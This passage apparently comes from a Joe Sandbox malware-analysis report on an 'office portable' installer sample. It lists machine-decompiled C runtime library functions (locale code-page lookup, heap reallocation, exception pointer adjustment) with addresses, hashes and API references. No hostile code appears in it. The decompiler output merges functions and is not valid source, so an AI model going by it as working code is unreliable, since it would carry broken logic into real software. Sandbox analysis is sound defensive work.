Part of subcall function 000CF1E5: InitializeCriticalSectionAndSpinCount.KERNEL32(000EF500,00000FA0,?,?,000D50AE,000CE41E,000ED1B8,00000014), ref: 000CF203

__mtterm.LIBCMT ref: 000D50B2
__calloc_crt.LIBCMT ref: 000D50D7
GetCurrentThreadId.KERNEL32 ref: 000D5100

Memory Dump Source

Source File: 00000000.00000002.503764289.00000000000C1000.00000020.00020000.sdmp, Offset: 000C0000, based on PE: true

Associated: 00000000.00000002.503733350.00000000000C0000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.503854768.00000000000E4000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.503894188.00000000000EF000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.503914526.00000000000F3000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c0000_installer_office_portable_3_2_0_Italian.jbxd

Similarity

API ID: CountCriticalCurrentEncodeInitializePointerSectionSpinThread__calloc_crt__init_pointers__initp_misc_winsig__mtinitlocks__mtterm
String ID:
API String ID: 1171689812-0
Opcode ID: b673db40fe4f7b1e3cd86e6f2f434c4e745ce15548b24201e021eee239db5f95
Instruction ID: f73d104b5ce82b1acf3f8c734cdf171f27d7931769494858bc54b4eff5874607
Opcode Fuzzy Hash: b673db40fe4f7b1e3cd86e6f2f434c4e745ce15548b24201e021eee239db5f95
Instruction Fuzzy Hash: 1FF09032269F125EF6743B78BC47B9A2AD59F01731F20066BFD54D92E3EF21884241B5

Uniqueness

Uniqueness Score: -1.00%

Function 000DE4A3, Relevance: 7.8, APIs: 5, Instructions: 259
COMMON

Download Yara Rule

C-Code - Quality: 79%

			E000DE4A3(void* __ebx, void* __edx, void* __edi, void* __eflags, intOrPtr _a4) {
				signed int _v8;
				intOrPtr _v20;
				signed int _v24;
				signed int _v32;
				char _v136;
				intOrPtr _v140;
				intOrPtr _v168;
				signed int _v180;
				char _v272;
				char _v420;
				signed int _v444;
				void* __esi;
				signed int _t68;
				signed int _t72;
				signed int _t74;
				signed int _t83;
				signed int _t85;
				void* _t86;
				signed int _t89;
				signed int _t91;
				signed int _t95;
				signed int _t97;
				void* _t103;
				signed int _t106;
				signed int _t112;
				signed int _t113;
				signed int _t115;
				signed int _t116;
				signed int _t120;
				void* _t122;
				signed int _t123;
				void* _t124;
				void* _t125;
				signed int _t133;
				signed int _t135;
				signed int _t136;
				void* _t137;
				signed int _t140;
				signed int _t142;
				intOrPtr* _t145;
				void* _t146;
				void* _t180;
				void* _t182;
				signed int _t185;
				void* _t187;
				intOrPtr _t189;
				void* _t190;
				intOrPtr* _t191;
				void* _t192;
				signed int _t193;
				signed int _t197;
				signed int _t198;
				signed int _t200;
				void* _t202;
				void* _t204;
				signed int _t205;

				_t183 = __edi;
				_t182 = __edx;
				_t197 = _t200;
				_t68 =  *0xef6ac; // 0xcff43140
				_v8 = _t68 ^ _t197;
				_push(__ebx);
				_t189 = _a4;
				_v140 = _t189;
				_t4 = E000D4F6A(__edi, __eflags) + 0x9c; // 0x9c
				_t145 = _t4;
				asm("sbb ecx, ecx");
				_t72 = E000D2EFA(_t189, ( ~( *(_t145 + 0x14)) & 0xfffff005) + 0x1002,  &_v136, 0x40);
				_t202 = _t200 - 0x88 + 0x10;
				if(_t72 != 0) {
					_push(__edi);
					_t74 = E000DA4A0(_t145, __edi, _t189,  *((intOrPtr*)(_t145 + 4)),  &_v136);
					__eflags = _t74;
					if(_t74 != 0) {
						L15:
						__eflags = ( *(_t145 + 8) & 0x00000300) - 0x300;
						if(( *(_t145 + 8) & 0x00000300) == 0x300) {
							L22:
							__eflags =  !( *(_t145 + 8) >> 2) & 0x00000001;
							goto L23;
						} else {
							asm("sbb ecx, ecx");
							_t83 = E000D2EFA(_t189, ( ~( *(_t145 + 0x10)) & 0xfffff002) + 0x1001,  &_v136, 0x80);
							_t204 = _t202 + 0x10;
							__eflags = _t83;
							if(_t83 != 0) {
								_t85 = E000DA4A0(_t145, 0xfffff002, _t189,  *_t145,  &_v136);
								__eflags = _t85;
								if(_t85 != 0) {
									goto L22;
								} else {
									 *(_t145 + 8) =  *(_t145 + 8) | 0x00000200;
									_t185 = 0;
									__eflags =  *(_t145 + 0x10);
									if( *(_t145 + 0x10) == 0) {
										__eflags =  *(_t145 + 0xc);
										if( *(_t145 + 0xc) == 0) {
											goto L20;
										} else {
											_t122 = E000D1321( *_t145);
											__eflags = _t122 -  *(_t145 + 0xc);
											if(_t122 !=  *(_t145 + 0xc)) {
												goto L20;
											} else {
												_t123 = E000DE807(_t145, _t182, 0, _t189);
												__eflags = _t123;
												if(_t123 != 0) {
													goto L20;
												} else {
													_t124 = E000DE471( *_t145);
													_t125 = E000D1321( *_t145);
													__eflags = _t124 - _t125;
													if(_t124 == _t125) {
														goto L22;
													} else {
														_t189 = _v140;
														goto L20;
													}
												}
											}
										}
									} else {
										L20:
										 *(_t145 + 8) =  *(_t145 + 8) | 0x00000100;
										__eflags =  *((intOrPtr*)(_t145 + 0x250)) - _t185;
										if( *((intOrPtr*)(_t145 + 0x250)) != _t185) {
											goto L22;
										} else {
											_t86 = E000D1321(_t189);
											_t42 = _t145 + 0x250; // 0x2ec
											_t89 = E000DBA9A(_t42, 0x55, _t189, _t86 + 1);
											_t205 = _t204 + 0x14;
											__eflags = _t89;
											if(_t89 != 0) {
												goto L31;
											} else {
												goto L22;
											}
										}
									}
								}
							} else {
								goto L17;
							}
						}
					} else {
						asm("sbb eax, eax");
						_t133 = E000D2EFA(_t189, ( ~( *(_t145 + 0x10)) & 0xfffff002) + 0x1001,  &_v136, 0x40);
						_t202 = _t202 + 0x10;
						__eflags = _t133;
						if(_t133 == 0) {
							L17:
							 *(_t145 + 8) =  *(_t145 + 8) & 0x00000000;
							L23:
							_pop(_t183);
							goto L24;
						} else {
							_t135 = E000DA4A0(_t145, 0xfffff002, _t189,  *_t145,  &_v136);
							_pop(_t180);
							__eflags = _t135;
							if(_t135 != 0) {
								__eflags =  *(_t145 + 8) & 0x00000002;
								if(( *(_t145 + 8) & 0x00000002) != 0) {
									goto L15;
								} else {
									__eflags =  *(_t145 + 0xc);
									if( *(_t145 + 0xc) == 0) {
										L12:
										__eflags =  *(_t145 + 8) & 0x00000001;
										if(( *(_t145 + 8) & 0x00000001) != 0) {
											goto L15;
										} else {
											_t136 = E000DE807(_t145, _t182, 0xfffff002, _t189);
											__eflags = _t136;
											if(_t136 == 0) {
												goto L15;
											} else {
												 *(_t145 + 8) =  *(_t145 + 8) | 0x00000001;
												goto L6;
											}
										}
									} else {
										_t142 = E000DFECB(_t145, _t180, _t189,  *_t145,  &_v136,  *(_t145 + 0xc));
										_t202 = _t202 + 0xc;
										__eflags = _t142;
										if(_t142 != 0) {
											goto L12;
										} else {
											 *(_t145 + 8) =  *(_t145 + 8) | 0x00000002;
											goto L6;
										}
									}
								}
							} else {
								_t14 = _t145 + 8;
								 *_t14 =  *(_t145 + 8) | 0x00000304;
								__eflags =  *_t14;
								L6:
								_t137 = E000D1321(_t189);
								_t16 = _t145 + 0x250; // 0x2ec
								_t140 = E000DBA9A(_t16, 0x55, _t189, _t137 + 1);
								_t202 = _t202 + 0x14;
								__eflags = _t140;
								if(_t140 == 0) {
									goto L15;
								} else {
									_t185 = 0;
									__eflags = 0;
									L31:
									_push(_t185);
									_push(_t185);
									_push(_t185);
									_push(_t185);
									_push(_t185);
									E000D3472(_t145, _t182);
									asm("int3");
									_push(_t197);
									_t198 = _t205;
									_t91 =  *0xef6ac; // 0xcff43140
									_v180 = _t91 ^ _t198;
									_push(_t189);
									_push(_t185);
									_t186 = _v168;
									_t50 = E000D4F6A(_v168, __eflags) + 0x9c; // 0x9c
									_t191 = _t50;
									asm("sbb ecx, ecx");
									_t95 = E000D2EFA(_v168, ( ~( *(_t191 + 0x10)) & 0xfffff002) + 0x1001,  &_v420, 0x78);
									__eflags = _t95;
									if(_t95 != 0) {
										_t97 = E000DA4A0(_t145, _t186, _t191,  *_t191,  &_v272);
										__eflags = _t97;
										if(_t97 != 0) {
											L36:
											__eflags =  !( *(_t191 + 8) >> 2) & 0x00000001;
											goto L37;
										} else {
											_t103 = E000D1321(_t186);
											_t56 = _t191 + 0x250; // 0x2ec
											_t106 = E000DBA9A(_t56, 0x55, _t186, _t103 + 1);
											__eflags = _t106;
											if(_t106 != 0) {
												_push(0);
												_push(0);
												_push(0);
												_push(0);
												_push(0);
												E000D3472(_t145, _t182);
												asm("int3");
												_push(_t198);
												_push(_t191);
												_t193 = _v444;
												__eflags = _t193;
												if(_t193 == 0) {
													L47:
													_t112 = E000D2EFA(_v20 + 0x250, 0x20001004,  &_v24, 2);
													__eflags = _t112;
													if(_t112 != 0) {
														_t113 = _v24;
														__eflags = _t113;
														if(_t113 == 0) {
															return GetACP();
														}
													} else {
														goto L48;
													}
												} else {
													__eflags =  *_t193;
													if( *_t193 == 0) {
														goto L47;
													} else {
														_t115 = E000DE237(_t193, "ACP");
														__eflags = _t115;
														if(_t115 == 0) {
															goto L47;
														} else {
															_t116 = E000DE237(_t193, "OCP");
															__eflags = _t116;
															if(_t116 != 0) {
																_t113 = E000E09A4(_t193);
															} else {
																_t120 = E000D2EFA(_v20 + 0x250, 0x2000000b,  &_v24, 2);
																__eflags = _t120;
																if(_t120 == 0) {
																	L48:
																	_t113 = 0;
																} else {
																	_t113 = _v24;
																}
															}
														}
													}
												}
												return _t113;
											} else {
												_t57 = _t191 + 8;
												 *_t57 =  *(_t191 + 8) | 0x00000004;
												__eflags =  *_t57;
												goto L36;
											}
										}
									} else {
										 *(_t191 + 8) =  *(_t191 + 8) & _t95;
										L37:
										_pop(_t187);
										__eflags = _v32 ^ _t198;
										_pop(_t192);
										return E000CC7C7(_t145, _v32 ^ _t198, _t182, _t187, _t192);
									}
								}
							}
						}
					}
				} else {
					 *(_t145 + 8) =  *(_t145 + 8) & _t72;
					L24:
					_pop(_t190);
					_pop(_t146);
					return E000CC7C7(_t146, _v8 ^ _t197, _t182, _t183, _t190);
				}
			}

0x000de4a3
0x000de4a3
0x000de4a4
0x000de4ac
0x000de4b3
0x000de4b6
0x000de4b8
0x000de4bb
0x000de4c6
0x000de4c6
0x000de4d3
0x000de4ea
0x000de4ef
0x000de4f4
0x000de4ff
0x000de50a
0x000de516
0x000de518
0x000de5c6
0x000de5d0
0x000de5d2
0x000de65a
0x000de662
0x00000000
0x000de5d8
0x000de5dd
0x000de5f5
0x000de5fa
0x000de5fd
0x000de5ff
0x000de613
0x000de61a
0x000de61c
0x00000000
0x000de61e
0x000de61e
0x000de625
0x000de627
0x000de62a
0x000de676
0x000de679
0x00000000
0x000de67b
0x000de67d
0x000de683
0x000de686
0x00000000
0x000de688
0x000de689
0x000de68f
0x000de691
0x00000000
0x000de693
0x000de695
0x000de69e
0x000de6a5
0x000de6a7
0x00000000
0x000de6a9
0x000de6a9
0x00000000
0x000de6a9
0x000de6a7
0x000de691
0x000de686
0x000de62c
0x000de62c
0x000de62c
0x000de633
0x000de63a
0x00000000
0x000de63c
0x000de63d
0x000de645
0x000de64e
0x000de653
0x000de656
0x000de658
0x00000000
0x00000000
0x00000000
0x00000000
0x000de658
0x000de63a
0x000de62a
0x00000000
0x00000000
0x00000000
0x000de5ff
0x000de51e
0x000de52c
0x000de537
0x000de53c
0x000de53f
0x000de541
0x000de601
0x000de601
0x000de665
0x000de665
0x00000000
0x000de547
0x000de550
0x000de556
0x000de557
0x000de559
0x000de585
0x000de589
0x00000000
0x000de58b
0x000de58b
0x000de58f
0x000de5af
0x000de5af
0x000de5b3
0x00000000
0x000de5b5
0x000de5b6
0x000de5bc
0x000de5be
0x00000000
0x000de5c0
0x000de5c0
0x00000000
0x000de5c0
0x000de5be
0x000de591
0x000de59d
0x000de5a2
0x000de5a5
0x000de5a7
0x00000000
0x000de5a9
0x000de5a9
0x00000000
0x000de5a9
0x000de5a7
0x000de58f
0x000de55b
0x000de55b
0x000de55b
0x000de55b
0x000de562
0x000de563
0x000de56b
0x000de574
0x000de579
0x000de57c
0x000de57e
0x00000000
0x000de580
0x000de6b4
0x000de6b4
0x000de6b6
0x000de6b6
0x000de6b7
0x000de6b8
0x000de6b9
0x000de6ba
0x000de6bb
0x000de6c0
0x000de6c1
0x000de6c2
0x000de6ca
0x000de6d1
0x000de6d4
0x000de6d5
0x000de6d6
0x000de6de
0x000de6de
0x000de6eb
0x000de702
0x000de70a
0x000de70c
0x000de71d
0x000de724
0x000de726
0x000de74a
0x000de752
0x00000000
0x000de728
0x000de729
0x000de731
0x000de73a
0x000de742
0x000de744
0x000de767
0x000de768
0x000de769
0x000de76a
0x000de76b
0x000de76c
0x000de771
0x000de772
0x000de775
0x000de776
0x000de779
0x000de77b
0x000de7d4
0x000de7e8
0x000de7f0
0x000de7f2
0x000de7f8
0x000de7fb
0x000de7fd
0x000de801
0x000de801
0x00000000
0x00000000
0x00000000
0x000de77d
0x000de77d
0x000de781
0x00000000
0x000de783
0x000de789
0x000de790
0x000de792
0x00000000
0x000de794
0x000de79a
0x000de7a1
0x000de7a3
0x000de7cc
0x000de7a5
0x000de7b9
0x000de7c1
0x000de7c3
0x000de7f4
0x000de7f4
0x000de7c5
0x000de7c5
0x000de7c5
0x000de7c3
0x000de7a3
0x000de792
0x000de781
0x000de7ca
0x000de746
0x000de746
0x000de746
0x000de746
0x00000000
0x000de746
0x000de744
0x000de70e
0x000de70e
0x000de755
0x000de758
0x000de759
0x000de75b
0x000de762
0x000de762
0x000de70c
0x000de57e
0x000de559
0x000de541
0x000de4f6
0x000de4f6
0x000de666
0x000de669
0x000de66c
0x000de673
0x000de673

APIs

Part of subcall function 000D4F6A: __getptd_noexit.LIBCMT ref: 000D4F6B

__invoke_watson.LIBCMT ref: 000DE6BB

Memory Dump Source

Source File: 00000000.00000002.503764289.00000000000C1000.00000020.00020000.sdmp, Offset: 000C0000, based on PE: true

Associated: 00000000.00000002.503733350.00000000000C0000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.503854768.00000000000E4000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.503894188.00000000000EF000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.503914526.00000000000F3000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c0000_installer_office_portable_3_2_0_Italian.jbxd

Similarity

API ID: __getptd_noexit__invoke_watson
String ID:
API String ID: 2533157543-0
Opcode ID: 904c9ec7de702e216eace50d2fc218d38dc70433ed9cf5f56d1b02ebc3c636cb
Instruction ID: de97b173a8bc8b337c9fb122db6ea1349592b0bcf5582233e6709e1289f52636
Opcode Fuzzy Hash: 904c9ec7de702e216eace50d2fc218d38dc70433ed9cf5f56d1b02ebc3c636cb
Instruction Fuzzy Hash: ED71D3725007419AEB24BA24CC86BBA73E8EF50354F1480ABF906DE286FB74DE448671

Uniqueness

Uniqueness Score: -1.00%

Function 000D857C, Relevance: 7.6, APIs: 5, Instructions: 67
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 96%

			E000D857C(void* __ebx, void* __edx, void* __edi, void* _a4, long _a8) {
				void* _t7;
				long _t8;
				intOrPtr* _t9;
				intOrPtr* _t12;
				long _t20;
				long _t31;

				if(_a4 != 0) {
					_t31 = _a8;
					__eflags = _t31;
					if(_t31 != 0) {
						_push(__ebx);
						while(1) {
							__eflags = _t31 - 0xffffffe0;
							if(_t31 > 0xffffffe0) {
								break;
							}
							__eflags = _t31;
							if(_t31 == 0) {
								_t31 = _t31 + 1;
								__eflags = _t31;
							}
							_t7 = HeapReAlloc( *0xf173c, 0, _a4, _t31);
							_t20 = _t7;
							__eflags = _t20;
							if(_t20 != 0) {
								L17:
								_t8 = _t20;
							} else {
								__eflags =  *0xf1740 - _t7;
								if(__eflags == 0) {
									_t9 = E000D1261(__eflags);
									 *_t9 = E000D1274(GetLastError());
									goto L17;
								} else {
									__eflags = E000D32D4(_t7, _t31);
									if(__eflags == 0) {
										_t12 = E000D1261(__eflags);
										 *_t12 = E000D1274(GetLastError());
										L12:
										_t8 = 0;
										__eflags = 0;
									} else {
										continue;
									}
								}
							}
							goto L14;
						}
						E000D32D4(_t6, _t31);
						 *((intOrPtr*)(E000D1261(__eflags))) = 0xc;
						goto L12;
					} else {
						E000CD081(_a4);
						_t8 = 0;
					}
					L14:
					return _t8;
				} else {
					return E000CD0B9(__ebx, __edx, __edi, _a8);
				}
			}

0x000d8583
0x000d8591
0x000d8594
0x000d8596
0x000d85a5
0x000d85d8
0x000d85d8
0x000d85db
0x00000000
0x00000000
0x000d85a8
0x000d85aa
0x000d85ac
0x000d85ac
0x000d85ac
0x000d85b9
0x000d85bf
0x000d85c1
0x000d85c3
0x000d8623
0x000d8623
0x000d85c5
0x000d85c5
0x000d85cb
0x000d860d
0x000d8621
0x00000000
0x000d85cd
0x000d85d4
0x000d85d6
0x000d85f5
0x000d8609
0x000d85ef
0x000d85ef
0x000d85ef
0x00000000
0x00000000
0x00000000
0x000d85d6
0x000d85cb
0x00000000
0x000d85f1
0x000d85de
0x000d85e9
0x00000000
0x000d8598
0x000d859b
0x000d85a1
0x000d85a1
0x000d85f2
0x000d85f4
0x000d8585
0x000d858f
0x000d858f

APIs

_malloc.LIBCMT ref: 000D8588

Part of subcall function 000CD0B9: __FF_MSGBANNER.LIBCMT ref: 000CD0D0
Part of subcall function 000CD0B9: __NMSG_WRITE.LIBCMT ref: 000CD0D7
Part of subcall function 000CD0B9: RtlAllocateHeap.NTDLL(009A0000,00000000,00000001,00000000,00000000,00000000,?,000CFC85,00000000,00000000,00000000,00000000,?,000CF17F,00000018,000ED1D8), ref: 000CD0FC

_free.LIBCMT ref: 000D859B

Memory Dump Source

Source File: 00000000.00000002.503764289.00000000000C1000.00000020.00020000.sdmp, Offset: 000C0000, based on PE: true

Associated: 00000000.00000002.503733350.00000000000C0000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.503854768.00000000000E4000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.503894188.00000000000EF000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.503914526.00000000000F3000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c0000_installer_office_portable_3_2_0_Italian.jbxd

Similarity

API ID: AllocateHeap_free_malloc
String ID:
API String ID: 1020059152-0
Opcode ID: fd9d67c8d4c154cd09f6d490ced775d3f5b39ba3995de4538576619094c631cc
Instruction ID: 3dec8f50fafe7ae3a8d6a7060822c935e7bd3234391c985b038b39ba48a9fa14
Opcode Fuzzy Hash: fd9d67c8d4c154cd09f6d490ced775d3f5b39ba3995de4538576619094c631cc
Instruction Fuzzy Hash: C911C132908711ABDB213BB4BC456EE37D89F04360F208627F9499A392DF359950C7B4

Uniqueness

Uniqueness Score: -1.00%

Function 000DE772, Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 60
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 100%

			E000DE772(char _a4, intOrPtr _a8) {
				intOrPtr _t12;
				short* _t28;

				_t28 = _a4;
				if(_t28 != 0 &&  *_t28 != 0 && E000DE237(_t28, ?str?) != 0) {
					if(E000DE237(_t28, ?str?) != 0) {
						return E000E09A4(_t28);
					}
					if(E000D2EFA(_a8 + 0x250, 0x2000000b,  &_a4, 2) == 0) {
						L9:
						return 0;
					}
					return _a4;
				}
				if(E000D2EFA(_a8 + 0x250, 0x20001004,  &_a4, 2) == 0) {
					goto L9;
				}
				_t12 = _a4;
				if(_t12 == 0) {
					return GetACP();
				}
				return _t12;
			}

0x000de776
0x000de77b
0x000de7a3
0x00000000
0x000de7d1
0x000de7c3
0x000de7f4
0x00000000
0x000de7f4
0x00000000
0x000de7c5
0x000de7f2
0x00000000
0x00000000
0x000de7f8
0x000de7fd
0x000de801
0x000de801
0x000de7ca

APIs

_wcscmp.LIBCMT ref: 000DE789
_wcscmp.LIBCMT ref: 000DE79A

Strings

OCP, xrefs: 000DE794
ACP, xrefs: 000DE783

Memory Dump Source

Source File: 00000000.00000002.503764289.00000000000C1000.00000020.00020000.sdmp, Offset: 000C0000, based on PE: true

Associated: 00000000.00000002.503733350.00000000000C0000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.503854768.00000000000E4000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.503894188.00000000000EF000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.503914526.00000000000F3000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c0000_installer_office_portable_3_2_0_Italian.jbxd

Similarity

API ID: _wcscmp
String ID: ACP$OCP
API String ID: 856254489-711371036
Opcode ID: 29cbb2ed2dafa7d0fdc45c0e361166c0071f15a5f4f7197b7d64fc19df081667
Instruction ID: fe69356892a2e932b5c75b92afda171a94116104aa82473fbca69f92d6376033
Opcode Fuzzy Hash: 29cbb2ed2dafa7d0fdc45c0e361166c0071f15a5f4f7197b7d64fc19df081667
Instruction Fuzzy Hash: C5018431208395A6FB90BA19DC82BDA37DC9F00764F144427FA04EE782F734EA4082B5

Uniqueness

Uniqueness Score: -1.00%

Function 000D2E03, Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 58
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 81%

			E000D2E03(void* __ebx, void* __edi, void* __esi, intOrPtr _a4, intOrPtr _a8, char _a12) {
				intOrPtr _v0;
				intOrPtr _v32;
				intOrPtr _t12;
				void* _t13;
				signed int _t14;
				signed int _t20;
				void* _t29;
				void* _t32;
				intOrPtr _t35;

				_t12 = _a4;
				if(_t12 == 0 || _t12 == 0x400 || _t12 == 0x800) {
					L11:
					_t13 = 0;
					goto L12;
				} else {
					_t3 =  &_a12; // 0xde368
					_t35 =  *_t3;
					if(_a8 != 0 || _t35 <= 0) {
						if(_t35 < 0) {
							goto L11;
						} else {
							_t14 = E000D2D80(_t29, _t12);
							if(_t14 < 0) {
								goto L11;
							} else {
								_t24 =  *((intOrPtr*)(0xe5e74 + _t14 * 8));
								_t32 = E000DA653( *((intOrPtr*)(0xe5e74 + _t14 * 8)), 0x55);
								if(_t35 <= 0) {
									L10:
									_t7 = _t32 + 1; // 0x1
									_t13 = _t7;
									L12:
									return _t13;
								} else {
									if(_t32 >= _t35) {
										goto L11;
									} else {
										if(E000D83C0(_a8, _t35, _t24) != 0) {
											_push(0);
											_push(0);
											_push(0);
											_push(0);
											_push(0);
											E000D3472(_t24, _t29);
											asm("int3");
											if(_v32 == 0) {
												L18:
												return 0;
											} else {
												_t20 = E000D2DB5(_t29, _v0);
												if(_t20 < 0 || _t20 >= 0xe4) {
													goto L18;
												} else {
													return  *((intOrPtr*)(0xe5e70 + _t20 * 8));
												}
											}
										} else {
											goto L10;
										}
									}
								}
							}
						}
					} else {
						goto L11;
					}
				}
			}

0x000d2e06
0x000d2e0e
0x000d2e6b
0x000d2e6b
0x00000000
0x000d2e1e
0x000d2e22
0x000d2e22
0x000d2e25
0x000d2e2d
0x00000000
0x000d2e2f
0x000d2e30
0x000d2e38
0x00000000
0x000d2e3a
0x000d2e3a
0x000d2e4b
0x000d2e4f
0x000d2e66
0x000d2e66
0x000d2e66
0x000d2e6d
0x000d2e71
0x000d2e51
0x000d2e53
0x00000000
0x000d2e55
0x000d2e64
0x000d2e74
0x000d2e75
0x000d2e76
0x000d2e77
0x000d2e78
0x000d2e79
0x000d2e7e
0x000d2e86
0x000d2ea5
0x000d2ea8
0x000d2e88
0x000d2e8b
0x000d2e93
0x00000000
0x000d2e9c
0x000d2ea4
0x000d2ea4
0x000d2e93
0x00000000
0x00000000
0x00000000
0x000d2e64
0x000d2e53
0x000d2e4f
0x000d2e38
0x00000000
0x00000000
0x00000000
0x000d2e25

APIs

_GetTableIndexFromLcid.LIBCMT ref: 000D2E30
_wcsnlen.LIBCMT ref: 000D2E44
__invoke_watson.LIBCMT ref: 000D2E79

Strings

h, xrefs: 000D2E22, 000D2E56

Memory Dump Source

Source File: 00000000.00000002.503764289.00000000000C1000.00000020.00020000.sdmp, Offset: 000C0000, based on PE: true

Associated: 00000000.00000002.503733350.00000000000C0000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.503854768.00000000000E4000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.503894188.00000000000EF000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.503914526.00000000000F3000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c0000_installer_office_portable_3_2_0_Italian.jbxd

Similarity

API ID: FromIndexLcidTable__invoke_watson_wcsnlen
String ID: h
API String ID: 3717162171-10784666
Opcode ID: 930e6bf35111d070fe1910615b4e9c2d2b3be02a2c6864ca79fe22ab3252df20
Instruction ID: bbf3e371ecf143459e8f037a27b6009ed4c50d990d315c9cb4f02e64cbc4779f
Opcode Fuzzy Hash: 930e6bf35111d070fe1910615b4e9c2d2b3be02a2c6864ca79fe22ab3252df20
Instruction Fuzzy Hash: EB016272601B1A56EB7165289C45B9B339C9B30B66F144D27FD04E6342D735ED4085F4

Uniqueness

Uniqueness Score: -1.00%

Function 000D0881, Relevance: 6.1, APIs: 4, Instructions: 139
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 50%

			E000D0881(void* __ebx, void* __edi, void* __esi, void* __eflags) {
				signed char* _t38;
				intOrPtr _t39;
				intOrPtr _t62;
				signed int _t63;
				signed char _t65;
				signed char _t66;
				intOrPtr _t88;
				signed char _t89;
				intOrPtr* _t91;
				signed char* _t94;
				intOrPtr _t95;
				void* _t96;

				_push(0xc);
				_push(0xed340);
				E000D3B00(__ebx, __edi, __esi);
				_t62 = 0;
				_t38 =  *(_t96 + 0x10);
				_t65 = _t38[4];
				if(_t65 == 0 ||  *((intOrPtr*)(_t65 + 8)) == 0) {
					L27:
					_t39 = 0;
				} else {
					_t66 = _t38[8];
					if(_t66 != 0 || ( *_t38 & 0x80000000) != 0) {
						_t89 =  *_t38;
						_t91 =  *((intOrPtr*)(_t96 + 0xc));
						if(_t89 >= 0) {
							_t91 = _t91 + 0xc + _t66;
						}
						 *((intOrPtr*)(_t96 - 4)) = _t62;
						_push(1);
						if((_t89 & 0x00000008) == 0) {
							_t94 =  *(_t96 + 0x14);
							_t17 =  *((intOrPtr*)(_t96 + 8)) + 0x18; // 0x4931e8
							_push( *_t17);
							if(( *_t94 & 0x00000001) == 0) {
								if(_t94[0x18] != _t62) {
									if(E000D8FBF() == 0) {
										goto L25;
									} else {
										_push(1);
										if(E000D8FBF(_t91) == 0 || E000D8FBF(_t94[0x18]) == 0) {
											goto L25;
										} else {
											_t63 = 0;
											_t62 = (_t63 & 0xffffff00 | ( *_t94 & 0x00000004) != 0x00000000) + 1;
											 *((intOrPtr*)(_t96 - 0x1c)) = _t62;
										}
									}
								} else {
									if(E000D8FBF() == 0) {
										goto L25;
									} else {
										_push(1);
										if(E000D8FBF(_t91) == 0) {
											goto L25;
										} else {
											_t29 =  *((intOrPtr*)(_t96 + 8)) + 0x18; // 0x4931e8
											E000CC7E0(_t91, E000D07CE( *_t29,  &(_t94[8])), _t94[0x14]);
										}
									}
								}
							} else {
								if(E000D8FBF() == 0) {
									goto L25;
								} else {
									_push(1);
									if(E000D8FBF(_t91) == 0) {
										goto L25;
									} else {
										_t22 =  *((intOrPtr*)(_t96 + 8)) + 0x18; // 0x4931e8
										E000CC7E0(_t91,  *_t22, _t94[0x14]);
										if(_t94[0x14] == 4 &&  *_t91 != 0) {
											_push( &(_t94[8]));
											_push( *_t91);
											goto L10;
										}
									}
								}
							}
						} else {
							_t95 =  *((intOrPtr*)(_t96 + 8));
							_t12 = _t95 + 0x18; // 0x4931e8
							if(E000D8FBF( *_t12) == 0) {
								L25:
								E000D6E3C();
							} else {
								_push(1);
								if(E000D8FBF(_t91) == 0) {
									goto L25;
								} else {
									_t13 = _t95 + 0x18; // 0x4931e8
									_t88 =  *_t13;
									 *_t91 = _t88;
									_push( &(( *(_t96 + 0x14))[8]));
									_push(_t88);
									L10:
									 *_t91 = E000D07CE();
								}
							}
						}
						 *((intOrPtr*)(_t96 - 4)) = 0xfffffffe;
						_t39 = _t62;
					} else {
						goto L27;
					}
				}
				return E000D3B45(_t39);
			}

0x000d0881
0x000d0883
0x000d0888
0x000d088d
0x000d088f
0x000d0892
0x000d0897
0x000d09fe
0x000d09fe
0x000d08a6
0x000d08a6
0x000d08ab
0x000d08b9
0x000d08bb
0x000d08c0
0x000d08c5
0x000d08c5
0x000d08c7
0x000d08ca
0x000d08cf
0x000d0913
0x000d0919
0x000d0919
0x000d091f
0x000d0972
0x000d09b6
0x00000000
0x000d09b8
0x000d09b8
0x000d09c4
0x00000000
0x000d09d3
0x000d09d8
0x000d09dc
0x000d09dd
0x000d09dd
0x000d09c4
0x000d0974
0x000d097d
0x00000000
0x000d097f
0x000d097f
0x000d098b
0x00000000
0x000d098d
0x000d0997
0x000d09a3
0x000d09a8
0x000d098b
0x000d097d
0x000d0921
0x000d092a
0x00000000
0x000d0930
0x000d0930
0x000d093c
0x00000000
0x000d0942
0x000d0948
0x000d094c
0x000d0958
0x000d096a
0x000d096b
0x00000000
0x000d096b
0x000d0958
0x000d093c
0x000d092a
0x000d08d1
0x000d08d1
0x000d08d4
0x000d08e0
0x000d09e2
0x000d09e2
0x000d08e6
0x000d08e6
0x000d08f2
0x00000000
0x000d08f8
0x000d08f8
0x000d08f8
0x000d08fb
0x000d0903
0x000d0904
0x000d0905
0x000d090c
0x000d090c
0x000d08f2
0x000d08e0
0x000d09e7
0x000d09ee
0x00000000
0x00000000
0x00000000
0x000d08ab
0x000d0a05

APIs

___AdjustPointer.LIBCMT ref: 000D0905
_memmove.LIBCMT ref: 000D094C
